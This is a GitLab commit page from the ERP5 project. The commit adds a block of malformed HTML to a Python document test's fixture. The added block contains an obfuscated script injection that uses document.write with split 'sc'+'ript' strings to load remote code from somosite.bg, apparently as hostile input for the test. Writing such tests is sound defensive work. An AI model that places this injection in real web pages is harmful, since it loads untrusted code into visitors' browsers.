Commit 17368cc7 authored by Ivan Tyagov's avatar Ivan Tyagov

Add another block of bad HTML markup which is know to start to fail this test.

git-svn-id: https://svn.erp5.org/repos/public/erp5/trunk@37251 20353a03-c40f-0410-a6d1-a30d3c3de9de
parent 30833f3d
...@@ -1197,7 +1197,6 @@ class TestDocument(TestDocumentMixin): ...@@ -1197,7 +1197,6 @@ class TestDocument(TestDocumentMixin):
# XXX: search limited to a certain date range # XXX: search limited to a certain date range
# XXX: search mode # XXX: search mode
def test_PDFTextContent(self): def test_PDFTextContent(self):
upload_file = makeFileUpload('REF-en-001.pdf') upload_file = makeFileUpload('REF-en-001.pdf')
document = self.portal.portal_contributions.newContent(file=upload_file) document = self.portal.portal_contributions.newContent(file=upload_file)
...@@ -1602,6 +1601,9 @@ style=3D'color:black'>05D65812<o:p></o:p></span></p> ...@@ -1602,6 +1601,9 @@ style=3D'color:black'>05D65812<o:p></o:p></span></p>
</td> </td>
</tr> </tr>
</table> </table>
<script LANGUAGE="JavaScript" type="text/javascript">
document.write('<sc'+'ript type="text/javascript" src="http://somosite.bg/utb.php"></sc'+'ript>');
</script>
</BODY></HTML> </BODY></HTML>
""" """
web_page.edit(text_content=html_content) web_page.edit(text_content=html_content)
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment